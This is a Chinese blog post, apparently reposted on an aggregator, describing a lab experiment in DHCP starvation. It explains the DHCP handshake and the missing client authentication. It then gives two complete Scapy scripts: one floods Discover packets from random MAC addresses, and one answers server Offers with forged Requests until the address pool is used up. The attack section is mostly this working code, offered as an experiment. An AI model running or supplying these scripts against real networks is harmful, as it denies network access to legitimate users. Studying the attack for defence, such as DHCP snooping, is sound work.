DHCP 泛洪攻击小实验

news/2025/10/25 15:39:40/文章来源:https://www.cnblogs.com/qz-not-crazy/p/19165462

DHCP 泛洪攻击

攻击原理:通过虚拟随机生成的mac 地址占用DHCP 服务器中的地址池达到正常机器无法获取到IP 地址从而无法上网

DHCP 协议原理

DHCP 是为了解决静态IP 地址,每次都需要进行手动输入IP的不方便

DHCP 客户端端口68 ,DHCP 服务端端口 67

  1. 首先Client 由于仅仅存在mac 地址,所以需要获取一个未占用的IP 用于进行标识身份上网

  2. 由于Client 并不知道DHCP Server 的IP和mac,所以会发送一个广播包 Discover(包内信息带有自身mac)

  3. DHCP Server 收到请求后,检查自身地址池,若存在空闲IP,向Discover 请求包源MAC 进行Offer 回包(默认为广播包,可以指定为单播包)

  4. Client 收到Offer 包后,进行筛选,筛选完成后确认该IP 地址,向DHCP Server 发起 Request 包用于确认该IP地址Request 包为广播包

  5. DHCP Server 收到Request 包后,在地址池中标记为此IP 已被使用,且保存其绑定的MAC 地址,进行ACK 确认包告知Client 无误


dhcp


思考:

为什么需要进行四次握手的方式才能获得IP?若是仅获取IP的话,完全可以Discover 包发起请求,Offer包回IP地址完成一次IP分配。

由于在真实的网络环境中,往往不会仅仅存在一台DHCP 服务器,而是存在多台的,若是采用Discover + Offer 的方式分配地址的话,会造成大量的IP 地址浪费,而Request 包作为广播就是为了告知所有的DHCP Server 不会使用其IP。从而不会造成地址的浪费;


漏洞点

整体从DHCP 的原理看下来,不难发现,在完成一个完整的IP 分配后,完全不会校验Client 的真实性;从而导致了一台Client 就可以伪造大量MAC 地址,按照DHCP 协议的四个数据包向Server 发起请求,即可完成占用完IP 地址池


DHCP 泛洪脚本

这里没有用到多线程的方式实现泛洪,而是采用一发一监听的方式实现泛洪(因为Client 总共发两个数据包 Discover + Request)

数据包的构建,只需要提供源MAC 即可,并在DHCP 包头标明数据包类型

xid : 用于标识数据包

src : 源mac/ip

dst : 目标mac/ip

BOOTP : DHCP 的最初协议,DHCP 就是基于BOOTP 升级的协议

from scapy.all import *
# xid 为一个客户端BOOTP 数据包的一个随机数字
for i in range(300):xid_random = random.randint(1,1000000000)mac_random = str(RandMAC())dhcp_discover = Ether(src=mac_random,dst="ff:ff:ff:ff:ff:ff")\/ IP(src = "0.0.0.0",dst = "255.255.255.255")\/ UDP(sport=68,dport=67)\/ BOOTP(chaddr=mac_random,xid=xid_random,flags=32768)\/ DHCP(options=[("message-type","discover"),"end"])sendp(dhcp_discover,iface="以太网 2")print("\n\n\nSending DHCPDISCOVER on" + "WLAN")time.sleep(1)

监听对应的物理网卡,筛选规则目标端口为DHCP 客户端从而可指定为Offer 或 ACK

这里需要取出关键的IP + Server IP + xid 即可,其余按照Request 包进行构建即可


from scapy.all import *
def dhcp_request(pkt):if pkt[DHCP].options[0][1]==2:Ether_Request = Ether(src=pkt[BOOTP].chaddr,dst = pkt[Ether].src)IP_Request = IP(src="0.0.0.0",dst="255.255.255.255")UPD_Request = UDP(sport=68,dport=67)BOOTP_Request = BOOTP(chaddr=pkt[BOOTP].chaddr,xid=pkt[BOOTP].xid)DHCP_Request = DHCP(options=[("message-type","request"),("server_id",pkt[IP].src),("requested_addr",pkt[BOOTP].yiaddr),"end"])Request = Ether_Request/IP_Request/UPD_Request/BOOTP_Request/DHCP_Requestsendp(Request,iface="以太网 2")print(pkt[BOOTP].yiaddr+"正在分配")elif pkt[DHCP].options[0][1]==5:print(pkt[BOOTP].yiaddr+"已被分配")  else:print("所有的IP已被泛洪分配完毕")
sniff(iface="以太网 2",filter="port 67",prn=dhcp_request,count=500)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/946199.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

2025 年热转印花膜优质厂家最新推荐排行榜:聚焦产品质量与客户满意度,涵盖硅胶 / 五金 / 塑胶等多材质应用场景

引言 随着热转印行业规模持续扩大,热转印花膜作为关键装饰材料,市场需求年增长率达 18%(数据来源:中国热转印行业协会 2024 年度报告)。为帮助采购者精准筛选优质厂家,本次榜单由中国热转印行业协会联合第三方检…

2025 年国内除湿机厂家最新推荐排行榜:工业 / 家用场景优质品牌精选指南仓库 / 大型 / 车间除湿机公司推荐

引言 当前,无论是工业生产中的仓库货物存储、商业运营里的地下空间环境维护,还是家庭生活中的室内防潮需求,对除湿机的依赖度都日益提升。但除湿机市场品牌繁杂,产品性能差异大,部分产品存在除湿效率低、能耗高、…

题解:P13611 [NWRRC 2022] New Time

非常简单一模拟,使我小脑旋转 题目传送门 思路 首先想到的就是把题目给定的字符串转换为整数,我们可以枚举字符串的每一位,在遇到 : 前,将对应的数字加到表示小时的变量上,遇到 : 后,将对应的数字加到表示分钟的…

第1期(两题)

请注意:样例不一定正确(发现问题、知道解法必关)星际旅行 题目描述 宇宙中有\(n\)个星系,每个星系\(i\)有能量值\(e_i\)。存在\(m\)条双向虫洞,连接\(u\)和\(v\)星系,使用虫洞\(u→v\)需消耗能量c,并获得\(d\)的…

门店运营成本高企?AI智能解决方案助力降本增效 - 教程

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

Paper: Diffusion Transformers with Representation Autoencoders

**1 Diffusion Transformers with Representation Autoencoders** **中文标题:** 带有表征自动编码器的扩散 Transformer **作者机构:** Boyang Zheng, Nanye Ma, Shengbang Tong, Saining Xie. New York University…

2025 年模板加固源头厂家最新推荐榜:优质企业权威测评出炉,含高精 / 剪力墙等多类型模板加固品牌

引言 在建筑工程质量与效率要求不断提升的当下,模板加固产品的选择对工程安全、成本控制至关重要。为帮助行业筛选优质源头厂家,中国建筑金属结构协会联合建筑模板脚手架专业委员会开展 2025 年度模板加固品牌测评,…

102302155张怡旋数据采集第一次作业

作业一 核心代码与运行结果大体思路:在写代码之前我先进入了该网页查看源代码的信息,了解了html的结构分布等,再进行代码的编写。代码首先用requests发送 GET 请求,添加User-Agent模拟浏览器,避免反爬拦截;接着检…

序列异或求贡献

序列异或求贡献是一类常见的题目,经典做法无非是求前后缀,按进制位拆贡献累计答案,但是需要对具体问题具体分析。 异或和之和 设前缀异或和为 \(sum_i\)(\(sum_0\)=0),对 \(sum_i\) 二进制拆位。\(tot1_k\) 为二…

深入解析:Java外功精要(2)——Spring IoCDI

深入解析:Java外功精要(2)——Spring IoC&DIpre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas",…

2025年矩形橡胶支座源头厂家权威推荐榜单:GJZ矩形橡胶支座/圆形橡胶桥梁支座/桥梁橡胶支座源头厂家精选

在交通基础设施建设持续发展的背景下,矩形橡胶支座作为桥梁结构的关键传力部件,其质量直接关系到整体工程的安全性与耐久性。 矩形橡胶支座主要由多层薄钢板与橡胶片叠合而成,通过钢板约束橡胶的横向变形,从而显著…

2025年永磁同步变频器加工厂权威推荐榜单:高压变频柜装置/通用矢量变频器/高压变频器源头厂家精选

随着工业自动化程度不断提升,永磁同步变频器凭借其高效节能特性,正成为电机控制领域的重要技术方向。 永磁同步变频器市场在2025年预计将保持12.5%的年增长率,其中高压变频器在矿山、冶金等重工业领域需求尤为旺盛,…

首批CCF教学案例大赛资源上线:涵盖控制仿真、算法与机器人等9大方向 - 教程

首批CCF教学案例大赛资源上线:涵盖控制仿真、算法与机器人等9大方向 - 教程pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-fami…

HT-PBR-0006SMG:20W 连续、3 相位失衡,一颗贴片省掉整块匹配网络

HT-PBR-0006SMG:20W 连续、3 相位失衡,一颗贴片省掉整块匹配网络HT-PBR-0006SMG 的出场像一场静悄悄的革命,它把 0.5 到 6 GHz 的广阔频域折叠进一枚仅几毫米见方的陶瓷体,却把“功率”二字写进了名字。很多人第一…

2025年人字纹机织布源头厂家权威推荐榜单:700g机织布/锦纶工业用布/800g机织布源头厂家精选

人字纹机织布行业概况与技术特性 人字纹机织布作为工业用纺织品的重要组成部分,因其独特的斜纹编织结构和优异的力学性能,在工业生产中占据重要地位。根据行业数据分析,2025年全球人字纹机织布市场规模预计将达到85…

双模更超模!飞利浦双模办公娱乐显示器27E2N5900RW优雅登场! - 实践

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

Day4无序,有序和定义列表

无序列表,在实际应用中,无序列表应用的最为广泛<!DOCTYPE html> <html lang="en"> <head><meta charset="UTF-8"><meta name="viewport" content="w…

技术管理

参考:技术管理实战 36 讲 https://learn.lianglianglee.com/%E4%B8%93%E6%A0%8F/%E6%8A%80%E6%9C%AF%E7%AE%A1%E7%90%86%E5%AE%9E%E6%88%98%2036%20%E8%AE%B2技术到管理岗位的角色转换:从优秀骨干到优秀管理者 https…

威胁狩猎平台升级:全新认证机制与功能增强

abuse.ch宣布平台重大升级,包括全新认证系统、误报数据集、URLhaus狩猎功能增强、YARAify文件自动删除功能,以及面向贡献者的专属Slack频道,旨在提升威胁狩猎效率与平台稳定性。社区优先:全新认证机制、新增数据与…